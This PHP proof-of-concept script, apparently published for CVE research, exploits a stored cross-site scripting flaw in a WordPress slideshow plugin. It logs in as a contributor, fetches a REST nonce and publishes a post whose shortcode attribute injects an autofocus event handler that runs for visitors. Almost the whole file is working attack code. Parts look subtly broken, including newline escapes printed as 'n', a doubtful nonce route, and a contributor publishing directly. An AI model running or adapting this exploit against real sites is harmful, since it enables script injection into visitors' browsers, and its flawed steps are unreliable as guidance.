<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
/*
* Atomic Edge CVE Research - Proof of Concept (metadata-based)
* CVE-2026-8900 - Simple SEO Slideshow <= 1.2.8 - Authenticated (Contributor+) Stored XSS via Shortcode Attributes
*
* This script demonstrates how an authenticated contributor-level user can inject a stored XSS payload
* via a shortcode attribute in a post. The payload will execute for any visitor viewing the post.
*
* Prerequisites:
* - WordPress site with Simple SEO Slideshow plugin installed and activated.
* - An attacker account with at least Contributor role (username + password).
* - The target site URL is set in $target_url.
*
* Steps performed:
* 1. Login to obtain cookies and nonce.
* 2. Create a new post (or update an existing one) containing the vulnerable shortcode with XSS payload.
* 3. Confirm the post is published and the payload is stored.
*/
// Configuration
$target_url = 'http://example.com'; // Change to the target WordPress site URL
$username = 'attacker'; // WordPress username (contributor+)
$password = 'attacker_password'; // WordPress password
// XSS payload to be injected into shortcode attribute (e.g., title)
// The payload uses a benign alert to demonstrate XSS without causing harm
$xss_payload = '" onfocus="alert(1)" autofocus="';
// Full shortcode with payload
$shortcode = '[simple-seo-slideshow title="' . $xss_payload . '"]';
// ============================================
// Step 1: Login to WordPress
// ============================================
$login_url = $target_url . '/wp-login.php';
$post_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => 1
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36');
$response = curl_exec($ch);
if (curl_error($ch)) {
die('Login failed: ' . curl_error($ch) . "n");
}
// ============================================
// Step 2: Get nonce and create post
// ============================================
// First, access the post editor to get the nonce
$editor_url = $target_url . '/wp-admin/post-new.php';
curl_setopt($ch, CURLOPT_URL, $editor_url);
curl_setopt($ch, CURLOPT_POST, 0);
$editor_response = curl_exec($ch);
// Extract _wpnonce from the page (for the classic editor) - fallback to using admin-ajax
// Since we don't know editor type, we'll use wp_ajax to create a post via REST API
// But for simplicity, we'll directly POST using the nonce obtained from editor (if classic)
// Alternatively, use the REST API which is simpler for contributors
// For this PoC, we'll use the WordPress REST API (requires application passwords or cookie auth)
// Alternatively, we can directly create a post via admin-post with proper action
// Let's use a simpler approach: direct POST to admin-ajax to create a post via wp_ajax_inline-save
// But that requires specific AJAX actions. Instead, we'll use the REST API with cookie auth.
$rest_url = $target_url . '/wp-json/wp/v2/posts';
$post_data_rest = array(
'title' => 'Atomic Edge PoC - XSS Test',
'content' => $shortcode,
'status' => 'publish'
);
curl_setopt($ch, CURLOPT_URL, $rest_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data_rest));
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/json',
'X-WP-Nonce: ' . '' // We need to obtain the REST nonce
));
// Obtain REST nonce first
$nonce_url = $target_url . '/wp-admin/admin-ajax.php?action=rest-nonce';
curl_setopt($ch, CURLOPT_URL, $nonce_url);
curl_setopt($ch, CURLOPT_POST, 0);
$nonce_response = curl_exec($ch);
$rest_nonce = trim($nonce_response);
if (empty($rest_nonce)) {
// Attempt to get nonce from the editor page
preg_match('/var wpApiSettings = .*"nonce":"([^"]+)"/', $editor_response, $matches);
if (isset($matches[1])) {
$rest_nonce = $matches[1];
} else {
die('Could not obtain REST nonce. Trying alternative approach...n');
}
}
// Retry with nonce
curl_setopt($ch, CURLOPT_URL, $rest_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data_rest));
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/json',
'X-WP-Nonce: ' . $rest_nonce
));
$post_response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 201 || $http_code == 200) {
$post_data = json_decode($post_response, true);
echo "PoC successful. Post created with ID: " . $post_data['id'] . "n";
echo "Visit: " . $post_data['link'] . " to see XSS payload execute.n";
} else {
echo "Failed to create post. HTTP code: $http_coden";
echo "Response: $post_responsen";
echo "Note: The REST API may require application passwords. Consider using classic editor method.n";
}
// Clean up cookies
unlink('/tmp/cookies.txt');